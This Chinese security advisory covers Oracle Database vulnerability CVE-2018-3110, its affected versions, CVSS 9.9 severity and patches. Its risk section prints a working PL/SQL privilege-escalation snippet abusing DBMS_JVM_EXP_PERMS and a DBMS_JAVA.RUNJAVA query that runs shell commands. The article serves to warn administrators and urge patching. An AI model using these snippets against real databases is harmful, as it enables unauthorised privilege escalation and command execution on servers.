CVE 的英文全称是 "Common Vulnerabilities & Exposures" 公共漏洞和暴露. CVE 就好像是一个字典表, 为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称. 帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据, CVE 因此成为了安全信息共享的 "关键字". 在一个漏洞报告中指明的一个漏洞, 如果有 CVE 名称, 你就可以快速地在任何其它 CVE 兼容的数据库中找到相应修补的信息, 解决安全问题.
预警的邮件内容如下:
影响范围和版本
CVE-2018-3110 影响范围是所有当前在支持的数据库版本, 但是一部分版本已经在 2018 年 7 月的 CPU 中修订, 所以如果此前应用了 7 月的 CPU, 则本次主要针对 Windows 提出修订, 还有主要是针对刚刚发布的 Oracle 18.3 版本的修正.
详细说明如下:
修正了 Windows 上版本 11.2.0.4 和 12.2.0.1 中的 Oracle 数据库漏洞. CVE-2018-3110 的 CVSS v3 基本分数为 9.9, 可能会导致 Oracle 数据库和对底层服务器的 shell 访问完全受损.
CVE-2018-3110 还影响 Windows 上的 12.1.0.2 以及 Linux 和 Unix 上的 Oracle 数据库, 但是这些版本和平台的补丁包含在 2018 年 7 月的 CPU 中.
如果您在 Windows 上运行 Oracle 数据库版本 11.2.0.4 和 12.2.0.1, 请应用下面指出的修补程序. 如果您在 Windows 或 Linux 或 Unix 上的任何版本的数据库上运行版本 12.1.0.2 并且尚未应用 2018 年 7 月的 CPU, 请执行此操作.
由于此漏洞的性质, Oracle 强烈建议客户立即采取措施.
除了以上声明的版本, 其他过期版本同样会受到影响, 只是 Oracle 不再单独列出和提供独立的补丁而已.
严重程度
本次警告之所以独立发出, 重点预警, 是因为这个漏洞的危险性非常高, CVSS V3 的评分高达 9.9 , 也就几乎是能够完全控制系统的安全威胁.
CVSS : Common Vulnerability Scoring System, 即 "通用漏洞评分系统", 是一个 "行业公开标准, 其被设计用来评测漏洞的严重程度, 并帮助确定所需反应的紧急度和重要度". CVSS 的目标是为所有软件安全漏洞提供一个严重程度的评级, 这个评分系统把能够完全攻破操作系统层的已知安全漏洞评为基准分数 10.0 分. 换句话说, CVSS 基准分数为 10.0 分的安全漏洞一般指能够完全攻破系统的安全漏洞, 典型的结果是攻击者完全控制一个系统, 包括操作系统层的管理或者 "根" 权限.
当然这个漏洞是需要前提条件的, CVE-2018-3110 需要一个数据库用户, 具备最基本的 CREATE SESSION, 也就是说能够创建会话, 连接到数据库. 然后, 基于对于公共 JAVA 对象的访问, 获得权限提升, 直至全部控制数据库.
这个漏洞的组件是: Java VM.
在 2018 年 7 月发布的 CPU 中, 包含的 CVE-2018-3004 是和 3110 同源的漏洞, 是在上一次实现攻击的基础上, 有了进一步的简化攻击, 从而其风险分值上升到 9.9 .
补丁列表
在 MOS 的以下文档, 可以找到适用于各个版本的补丁:
Critical Patch Update (CPU) Program July 2018 Patch Availability Document (PAD) (文档 ID 2394520.1).
针对 Oracle 18c , 也就是刚刚发布的 18.3 以及 12.2 的补丁列表如下, 大家可以通过 MOS 找到适用于自己环境的补丁:
风险示例
很多客户可能会关心, 如果不升级, 到底会有多大的影响?
有些安全漏洞, 需要特殊的权限, 复杂的攻击注入方式, 所以及时存在, 重现不容易, 威胁也就不大, 例如 2018 年 1 月发布的安全补丁, 其中一个漏洞已经存在了很久, 以下连接中重现了 CVE-2017-10282 漏洞, 其评分是 9.1 :
安全警报: Oracle 2018 一月号安全补丁修复由来已久安全漏洞 http://mp.weixin.qq.com/s?__biz=MjM5MDAxOTk2MQ==&mid=2650277589&idx=1&sn=4e837b1ec157edbe052714445df5c962&chksm=be479ec3893017d54cb675aafdab4a663a97aeb738a61c207f9dd41bcc6069b4200ceeaa8990&scene=21#wechat_redirect
而本次警示的 CVE-2018-3110 其评分是 9.9 , 需要的权限更少, 更容易重现.
除非您能明确控制 Java VM 组件对象授权, 并且能够确保每一个连接数据库的用户的身份和操作控制, 否则强烈建议应用补丁, 防范风险.
如果你不需要 JAVA 组件, 建议在安装数据库时不要选择, 否则就可能面临一系列的麻烦. 在 Oracle 11.2.0.1 版本中, 就曾经几度发生过注入漏洞.
这些麻烦多数是过度授权, 将一些 JAVA 对象授权给 Public 执行权限, 就导致了问题. 例如 11.2.0.1 的 CPU 修正 9454036, 其补丁脚本 jvm_exp.sql 的最后一段正是对于权限的回收, 这个命令回收了 create session 用户也能执行 DBMS_JVM_EXP_PERMS 的问题:
- begin
- initjvmaux.exec('revoke execute on sys.dbms_jvm_exp_perms from PUBLIC');
- exception
- when others then
- if sqlcode not in (-01927, -06550, -06512) then raise; end if;
- end;
- /
关于 DBMS_JVM_EXP_PERMS 的执行权限的漏洞是, 可以通过类似如下代码给自己授予 JAVA 的系统执行权限, 就可以随时提权成为 DBA 了:
- DECLARE
- POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
- CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;
- BEGIN
- OPEN C1;
- FETCH C1 BULK COLLECT INTO POL;
- CLOSE C1;
- DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
- END;
- /
此前 CPU 修订的另外一个漏洞则是和 DBMS_JAVA 的执行权限有关, 通过这个 Package 的调用, 可以随意执行系统命令, 进一步提升权限:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/sh -c /usr/bin/id>/dev/shm/out') FROM DUAL;
这些方法都是在DBA 的暗世界里广为流传的, 如果您的数据库不能及时应用修正, 又缺乏良好的权限控制, 那么你的数据就早已经是明朗的天空了.
如果您还运行在低版本的数据库上, 建议大家关注安全问题了.
来源: https://yq.aliyun.com/articles/625241